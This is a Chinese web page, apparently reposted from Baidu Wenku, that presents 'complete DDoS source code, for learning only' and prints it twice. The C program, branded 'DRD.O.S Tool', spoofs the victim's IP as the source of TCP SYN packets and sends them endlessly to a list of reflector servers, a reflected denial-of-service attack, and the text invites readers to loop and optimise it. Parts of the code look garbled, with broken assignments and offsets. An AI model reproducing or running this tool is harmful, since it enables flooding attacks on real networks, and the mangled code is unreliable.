DDOS标准版完整源代码,仅供学习
来源:百度文库 编辑:神马文学网 时间:2024/04/30 02:36:54
DDOS标准版完整源代码,仅供学习
DDOS标准版完整源代码,仅供学习.可以考虑加入循环和优化部分细节,呵呵``
#include#include #include #include #pragma comment(lib,"ws2_32")#define HOST_LEN 15#define SEQ 0x28376839#define TCP_SERVER_PORT 80#define FAKE_PORT 80#define STATUS_FAILED 0xFFFF
typedef struct _iphdr{ unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP;}IP_HEADER, * PIP_HEADER;
typedef struct _tcphdr{ unsigned short th_sport; unsigned short th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; unsigned short th_win; unsigned short th_sum; unsigned short th_urp;}TCP_HEADER, * PTCP_HEADER;
struct{ unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl;}psd_header;
int SendThread(int argc, char * argv[], char * destIp);void Usage(char *);void GetCMD(int argc, char * argv[]);USHORT checksum(USHORT * buffer, int size);
int main(int argc, char * argv[]){ WSADATA wsaData; int ErrorCode; if(argc < 2 || argc > 6) { Usage(argv[0]); ExitProcess(STATUS_FAILED); } if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0) { fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode); ExitProcess(STATUS_FAILED); }
ErrorCode = SendThread(argc, argv, argv[1]); if(ErrorCode != 0) { fprintf(stderr, "Thread failed: %d\n", ErrorCode); ExitProcess(STATUS_FAILED); } return 0;}
int SendThread(int argc, char * argv[], char * destIP){ int TimeOut=2000, ErrorCode, flag, i=0; char SendBuff[128]; char HostName[HOST_LEN]; char ch; FILE * fp; SOCKET SendSock; struct sockaddr_in DestAddr; IP_HEADER IpHeader; TCP_HEADER TcpHeader;
if((fp=fopen("honkeriplist.txt", "r")) == NULL) { printf("Error: File not found!\n"); return -1; } SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED); if(SendSock == INVALID_SOCKET) { fprintf(stderr, "socket failed: %d\n", GetLastError()); ExitProcess(STATUS_FAILED); }
flag = true; ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int)); if(ErrorCode == SOCKET_ERROR) { fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError()); ExitProcess(STATUS_FAILED); }
__try { if(argc > 4) TimeOut = atoi(argv[3]); ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut, sizeof(TimeOut)); if(ErrorCode == SOCKET_ERROR) { fprintf(stderr, "set TimeOut failed: %d\n", GetLastError()); __leave; } DestAddr.sin_family = AF_INET;// DestAddr.sin_addr.s_addr = inet_addr(SERVER); if(argc > 3) DestAddr.sin_port = htons(atoi(argv[3])); else DestAddr.sin_port = htons(TCP_SERVER_PORT);
IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long)); IpHeader.tos = 0; IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER)); IpHeader.ident = 1; IpHeader.frag_and_flags = 0; IpHeader.ttl = 128; IpHeader.proto = IPPROTO_TCP; IpHeader.checksum = 0; IpHeader.sourceIP = inet_addr(destIP); IpHeader.destIP = inet_addr("0.0.0.0");
if(argc > 2) TcpHeader.th_sport = htons(atoi(argv[2])); else TcpHeader.th_sport = htons(FAKE_PORT); if(argc > 3) TcpHeader.th_dport = htons(atoi(argv[3])); else TcpHeader.th_dport = htons(TCP_SERVER_PORT); TcpHeader.th_seq = htonl(SEQ); TcpHeader.th_ack = 0; TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0); TcpHeader.th_flag = 2; TcpHeader.th_win = htons(16384); TcpHeader.th_urp = 0; TcpHeader.th_sum = 0;
psd_header.saddr = IpHeader.sourceIP; psd_header.daddr = IpHeader.destIP; psd_header.mbz = 0; psd_header.ptcl = IPPROTO_TCP; psd_header.tcpl = htons(sizeof(TCP_HEADER));
/* memcpy(SendBuff, &psd_header, sizeof(psd_header)); memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER)); TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4); IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));
memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */ printf("Send Packets\n"); int Packets = 0;
ch = fgetc(fp); GetCMD(argc, argv); while(1) { if(ch == '\n' || ch == EOF) { HostName = '\0';// Add your code here----------------------- DestAddr.sin_addr.s_addr = inet_addr(HostName); IpHeader.destIP = inet_addr(HostName); IpHeader.checksum = 0; psd_header.daddr = IpHeader.destIP; TcpHeader.th_seq = htonl(SEQ); TcpHeader.th_sum = 0;
memcpy(SendBuff, &psd_header, sizeof(psd_header)); memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER)); TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4); IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));
memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
Packets++; if(Packets == 10240) { printf("."); Packets = 1; } ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, (struct sockaddr *)&DestAddr, sizeof(DestAddr));// printf("->%s\n", HostName);//---------------------------- i = 0; ch = fgetc(fp);
if(ch == EOF) {// i = 0; rewind(fp);// memset(HostName, 0, sizeof(HostName)); } } HostName = ch; i++; ch = fgetc(fp); } } __finally { if(SendSock == INVALID_SOCKET) closesocket(SendSock); WSACleanup(); }
return 0;}
USHORT checksum(USHORT *buffer, int size){ unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16);
return (USHORT)(~cksum);}
void Usage(char * msg){ printf("+-----------------------------+ \n"); printf("| DRD.O.S Tool |\n"); printf("| www.honkerunion.com |\n"); printf("+-----------------------------+\n"); printf("USAGE:\n"); printf(" %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg); printf("EXAMPLE:\n"); printf(" %s 210.128.000.000\n", msg); printf(" %s 210.128.000.000\n", msg); printf(" %s 210.128.000.000 80 170 \n", msg); printf(" %s 210.128.000.000 80 170 2000\n", msg);}
void GetCMD(int argc, char * argv[]){ printf("<------------------------>\n"); printf(" Target: %s\n", argv[2]); if(argc > 3) printf(" Target Port: %d\n", atoi(argv[3])); if(argc > 4) printf(" TCP Server Port: %d\n", atoi(argv[4])); if(argc > 5) printf(" Timeout: %d\n", atoi(argv[5])); printf("<------------------------>\n");}
DDOS标准版完整源代码,仅供学习.可以考虑加入循环和优化部分细节,呵呵``
#include
typedef struct _iphdr{ unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP;}IP_HEADER, * PIP_HEADER;
typedef struct _tcphdr{ unsigned short th_sport; unsigned short th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; unsigned short th_win; unsigned short th_sum; unsigned short th_urp;}TCP_HEADER, * PTCP_HEADER;
struct{ unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl;}psd_header;
int SendThread(int argc, char * argv[], char * destIp);void Usage(char *);void GetCMD(int argc, char * argv[]);USHORT checksum(USHORT * buffer, int size);
int main(int argc, char * argv[]){ WSADATA wsaData; int ErrorCode; if(argc < 2 || argc > 6) { Usage(argv[0]); ExitProcess(STATUS_FAILED); } if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0) { fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode); ExitProcess(STATUS_FAILED); }
ErrorCode = SendThread(argc, argv, argv[1]); if(ErrorCode != 0) { fprintf(stderr, "Thread failed: %d\n", ErrorCode); ExitProcess(STATUS_FAILED); } return 0;}
int SendThread(int argc, char * argv[], char * destIP){ int TimeOut=2000, ErrorCode, flag, i=0; char SendBuff[128]; char HostName[HOST_LEN]; char ch; FILE * fp; SOCKET SendSock; struct sockaddr_in DestAddr; IP_HEADER IpHeader; TCP_HEADER TcpHeader;
if((fp=fopen("honkeriplist.txt", "r")) == NULL) { printf("Error: File not found!\n"); return -1; } SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED); if(SendSock == INVALID_SOCKET) { fprintf(stderr, "socket failed: %d\n", GetLastError()); ExitProcess(STATUS_FAILED); }
flag = true; ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int)); if(ErrorCode == SOCKET_ERROR) { fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError()); ExitProcess(STATUS_FAILED); }
__try { if(argc > 4) TimeOut = atoi(argv[3]); ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut, sizeof(TimeOut)); if(ErrorCode == SOCKET_ERROR) { fprintf(stderr, "set TimeOut failed: %d\n", GetLastError()); __leave; } DestAddr.sin_family = AF_INET;// DestAddr.sin_addr.s_addr = inet_addr(SERVER); if(argc > 3) DestAddr.sin_port = htons(atoi(argv[3])); else DestAddr.sin_port = htons(TCP_SERVER_PORT);
IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long)); IpHeader.tos = 0; IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER)); IpHeader.ident = 1; IpHeader.frag_and_flags = 0; IpHeader.ttl = 128; IpHeader.proto = IPPROTO_TCP; IpHeader.checksum = 0; IpHeader.sourceIP = inet_addr(destIP); IpHeader.destIP = inet_addr("0.0.0.0");
if(argc > 2) TcpHeader.th_sport = htons(atoi(argv[2])); else TcpHeader.th_sport = htons(FAKE_PORT); if(argc > 3) TcpHeader.th_dport = htons(atoi(argv[3])); else TcpHeader.th_dport = htons(TCP_SERVER_PORT); TcpHeader.th_seq = htonl(SEQ); TcpHeader.th_ack = 0; TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0); TcpHeader.th_flag = 2; TcpHeader.th_win = htons(16384); TcpHeader.th_urp = 0; TcpHeader.th_sum = 0;
psd_header.saddr = IpHeader.sourceIP; psd_header.daddr = IpHeader.destIP; psd_header.mbz = 0; psd_header.ptcl = IPPROTO_TCP; psd_header.tcpl = htons(sizeof(TCP_HEADER));
/* memcpy(SendBuff, &psd_header, sizeof(psd_header)); memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER)); TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4); IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));
memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */ printf("Send Packets\n"); int Packets = 0;
ch = fgetc(fp); GetCMD(argc, argv); while(1) { if(ch == '\n' || ch == EOF) { HostName = '\0';// Add your code here----------------------- DestAddr.sin_addr.s_addr = inet_addr(HostName); IpHeader.destIP = inet_addr(HostName); IpHeader.checksum = 0; psd_header.daddr = IpHeader.destIP; TcpHeader.th_seq = htonl(SEQ); TcpHeader.th_sum = 0;
memcpy(SendBuff, &psd_header, sizeof(psd_header)); memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER)); TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader)); memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4); IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));
memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER)); memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
Packets++; if(Packets == 10240) { printf("."); Packets = 1; } ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, (struct sockaddr *)&DestAddr, sizeof(DestAddr));// printf("->%s\n", HostName);//---------------------------- i = 0; ch = fgetc(fp);
if(ch == EOF) {// i = 0; rewind(fp);// memset(HostName, 0, sizeof(HostName)); } } HostName = ch; i++; ch = fgetc(fp); } } __finally { if(SendSock == INVALID_SOCKET) closesocket(SendSock); WSACleanup(); }
return 0;}
USHORT checksum(USHORT *buffer, int size){ unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16);
return (USHORT)(~cksum);}
void Usage(char * msg){ printf("+-----------------------------+ \n"); printf("| DRD.O.S Tool |\n"); printf("| www.honkerunion.com |\n"); printf("+-----------------------------+\n"); printf("USAGE:\n"); printf(" %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg); printf("EXAMPLE:\n"); printf(" %s 210.128.000.000\n", msg); printf(" %s 210.128.000.000\n", msg); printf(" %s 210.128.000.000 80 170 \n", msg); printf(" %s 210.128.000.000 80 170 2000\n", msg);}
void GetCMD(int argc, char * argv[]){ printf("<------------------------>\n"); printf(" Target: %s\n", argv[2]); if(argc > 3) printf(" Target Port: %d\n", atoi(argv[3])); if(argc > 4) printf(" TCP Server Port: %d\n", atoi(argv[4])); if(argc > 5) printf(" Timeout: %d\n", atoi(argv[5])); printf("<------------------------>\n");}
DDOS标准版完整源代码,仅供学习
湘财十条——仅供学习
湘财十条——仅供学习!
周立波的最新语录,仅供大家学习
北科材料学院FTP 仅供学习科研用 Adv.M.M.M.
吉他视频教程和资料大汇总免费下载 仅供学习参考
强力排名 仅供娱乐
天信投资VIP圈子 -- 大兵888团 -- 学习园地——基础篇(仅供学习,请勿跟帖)
北科材料学院FTP 仅供学习科研用 Adv.M.M.M. -学问博客-学问社区
5只股票 仅供观赏
【视频】麻将绝技视频(仅供娱乐)
智者之言,仅供借鉴
麻将绝技视频(仅供娱乐)22122.
全球神秘事件(仅供娱乐)
仅通过崩溃地址找出源代码的出错行
完整地理解学习
一套完整的装修流程供大家参考
一套完整的装修流程,供大家参考
如何练就成一流身材---仅供男生参考
如何练就成一流身材《仅供男生参考》!!!
如何练就成一流身材《仅供男生参考》!
一些快捷键的使用小结仅供大家参考
手机号码预测吉凶 仅供诸位消遣且一笑了之
三十个色情休闲笑话 (仅供娱乐)